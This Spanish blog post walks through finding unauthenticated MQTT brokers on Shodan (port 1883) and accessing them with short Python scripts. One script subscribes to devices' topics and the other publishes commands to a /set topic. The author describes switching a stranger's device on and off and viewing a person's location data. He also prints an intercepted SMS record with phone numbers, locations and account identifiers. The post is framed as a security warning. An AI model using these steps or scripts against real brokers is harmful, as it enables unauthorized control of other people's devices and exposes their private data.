lunes, 27 de febrero de 2017

Hack - Dispositivos IOT ¿son seguros ?

Hoy en dia estan muy de moda los dispositivos IOT (Internet of things) o sea la tendencia de la sociedad a conectar todo a internet, el cual esta bueno, en cierta medida poder determinar lo que ocurre en tu hogar, donde se encuentra tu auto o manejar ciertos dispositivos de tu hogar(domotica), todo esto si no esta bien configurado minimo con contraseñas, cualquiera puede tener acceso voy a mostrar herramientas sencillas y que cualquiera puede usar nada de metasploit aunque tambien se puede y es terrorifico.

Este material es un proof prueba de concepto es para mejorar tu seguridad si usas mqtt o alguna api que use json, trata de mejorar la autentificacion minimamente.

Un buscador el cual revela mucha informacion que no deberia verse es shodan

Deben registrarse para usar la api tambien
https://www.shodan.io

Un puerto interesante para buscar es el 1883 en este puerto corren servicios como MQTT sin cifrar (sea cual sea mosquito o server dedicado) responden a sub - pub o sea subscripciones y publicaciones por decirlo asi muchas estan open por ser publicas, de prueba pero otras nos revelan informacion confidencial y si la veo yo cualquiera podria.


En shodan una busqueda texto mas puerto

esp8266 port:"1883"  (Servicios MQTT de dispositivos esp8266 micros wifi muy IOT utilizados ahora para todo)




Algo como 30 dsipositivos esp8226 corriendo mqtt tambien podemos ver sus topics

En el ejemplo hay dos dispositivos mqtt esp8266dev001 y  esp8266dev002 podemos hacer un sub y ver los datos por supuesto que si. parte de un esp8266 publica generalmente sin password

/****
#include <ESP8266WiFi.h>

#include <PubSubClient.h>

#include <OneWire.h>

#include <DallasTemperature.h>
 /****

pequeño script rapido en python tiene errores para sub al dispositivo por el puerto 1883 el cual no piden contraseñas de autentificacion

/********************************************************************
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
topic="topicsusando+#"
host="port"

def on_connect(client, userdata, flags, rc):
    print("Conectado a "+host)
    client.subscribe(topic)


def on_message(client, userdata, msg):
    payload = str(msg.payload.decode())
    print("El valor seteado "+topic+" -->"+payload)
    #client.disconnect()  
  
client = mqtt.Client()        
client.connect(host,1883,60)

client.on_connect = on_connect
client.on_message = on_message

client.loop_forever()
/********************************************************************
Resultado puedo ver la informacion del lugar temperatura, humedad y valores en mV algun control PWM posiblemente de un hogar en españa...


otro ejemplo fue una respuesta de este tipo un json que responde al dispositivo ownstrack, googleando un poco es una compañia de seguimiento te instalas la aplicacion en el celular y guarda la posicion en el server, parseando el json obtenemos lat y longitud del individuo parece un auto.


se supone que no deberia ver esto  es en eeuu hasta los nombres se pueden ver :(


Y la cosa se pone peor ver todos los dispositivos y encontrar algo inesperado


 Esta no me la esperaba sinceramente es un servicio de sms atraves de internet se ve el sms no estoy seguro que servicio es pero es un json sin cifrar atraves de MQTT ??


Lo parsee todo y es raro parte del mensaje sin codificar se ven los hash md5 y ac3 de los usuarios y el sms
 
["ToCountry"]; // "US"
["ToState"]; // "TX"
["SmsMessageSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551"
["NumMedia"]; // "0"
["ToCity"]; // "MARION"
["FromZip"]; // "78666"
["SmsSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551"
["FromState"]; // "TX"
["Type"]; // "Sms"
["Status"]; // "received"
["FromCity"]; // "SAN MARCOS"
["Body"]; // "Welcome to hass"
["FromCountry"]; // "US"
["To"]; // "+18304200062"
["ToZip"]; // "78152"
["NumSegments"]; // "1"
["MessageSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551"
["AccountSid"]; // "AC3bc0f80a693629fa67da57362818bd73"
["From"]; // "+15126658221"
["ApiVersion"]; // "2010-04-01"

Bueno algo mas es posible controlar un dispositivo es decir encender o apagar algo creo que si

un pequeño script que publica a un topic que lo permite /set
/****************************************************************************
#!/usr/bin/env python3

import paho.mqtt.client as mqtt
import time
topic= "topic/set"
host= "host"
set1 = "ON"

client = mqtt.Client()
client.connect(host,1883,60)
client.publish(topic, set1);
print("Hackeando MQTT Server "+host +"---" +topic+" nuevo valor " +set1)
client.disconnect();
/****************************************************************************


Como veran pude cambiar el estado del dispositivo remoto de off a on ya que permite las sub y pub sin autentificacion es mas lo volvi a apagar je.

Internet avanzo demasiado asi como la era de los dispositivos IOT el cual son muy atractivos, pero tengan en cuenta a la hora de implementar el proyecto en forma de produccion usar autentificacion, encriptacion y hatsa VPN.